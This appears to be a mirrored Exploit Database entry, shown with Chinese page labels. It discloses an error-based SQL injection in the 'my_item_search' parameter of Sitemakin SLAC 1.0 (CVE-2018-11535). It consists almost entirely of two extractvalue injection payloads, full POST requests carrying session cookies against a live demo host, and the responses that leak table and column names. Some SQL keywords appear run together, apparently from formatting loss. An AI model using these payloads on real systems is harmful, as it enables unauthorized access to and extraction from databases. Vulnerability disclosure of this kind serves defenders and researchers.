Sitemakin SLAC 1.0 – ‘my_item_search’ SQL Injection

• Exploit Database
• 99 阅读

• 作者： Divya Jain
  日期： 2018-05-29
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44793/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86

  # # # # # # Exploit Title: SLAC v1.0: Blind SQL Injection / XPath Injection # Date: 29-05-2018 # Vendor Homepage: https://sitemakin.com/login-script-demo # Exploit Author: Divya Jain # Version: v1.0 # CVE: CVE-2018-11535 # Category: Webapps # Severity: High # Tested on: KaLi LinuX_x64 # # # # #   # Proof of Concept: //////////////////////////////////////////////// SQL Injection in "my_item_search" parameter ////////////////////////////////////////////////   # Affected Link: demo.com/login-script-demo/users.php # Parameter "my_item_search" is exploitable using xpath injection # Payload 1: my_item_search=1337&apos;and extractvalue(5566,concat(0x7e,(selecttable_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- - # Payload 2: my_item_search=1337&apos;and extractvalue(5566,concat(0x7e,(selectcolumn_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- - # POC 1 (Result: Table_name) /////////REQUEST//////////   POST /login-script-demo/users.php HTTP/1.1 Host: sitemakin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://demo.com/login-script-demo/users.php Content-Type: application/x-www-form-urlencoded Content-Length: 171 Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1 Connection: close Upgrade-Insecure-Requests: 1   my_item_search=1337&apos;and extractvalue(5566,concat(0x7e,(selecttable_name from information_schema.tables where table_schema=database() LIMIT 0,1),0x7e ))-- -&submit=Search   /////////RESPONSE//////////   <form method="post" action="/login-script-demo/users.php"> <select class="new-url2 form-control" name="my_item"> <br /> <b>Warning</b>:PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &apos;~access_level~&apos; in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br /> <br /> <b>Warning</b>:main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &apos;~access_level~&apos; in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br /> <option value="all">All</option>       # POC 2 (Result: Column_name) /////////REQUEST//////////   POST /login-script-demo/users.php HTTP/1.1 Host: sitemakin.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://demo.com/login-script-demo/users.php Content-Type: application/x-www-form-urlencoded Content-Length: 175 Cookie: PHPSESSID=57a62feb015f8912f7eaa856166343db; _ga=GA1.2.496857143.1527491400; _gid=GA1.2.909440178.1527491400; _gat=1 Connection: close Upgrade-Insecure-Requests: 1   my_item_search=1337&apos;and extractvalue(5566,concat(0x7e,(selectcolumn_name from information_schema.columns where table_name="access_level" LIMIT 0,1),0x7e ))-- -&submit=Search   /////////RESPONSE//////////   <form method="post" action="/login-script-demo/users.php"> <select class="new-url2 form-control" name="my_item"> <br /> <b>Warning</b>:PDOStatement::execute(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &apos;~id~&apos; in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>33</b><br /> <br /> <b>Warning</b>:main(): SQLSTATE[HY000]: General error: 1105 XPATH syntax error: &apos;~id~&apos; in <b>/home/sitemakin/public_html/login-script-demo/includes/post_users.inc.php</b> on line <b>34</b><br /> <option value="all">All</option> ################################################################################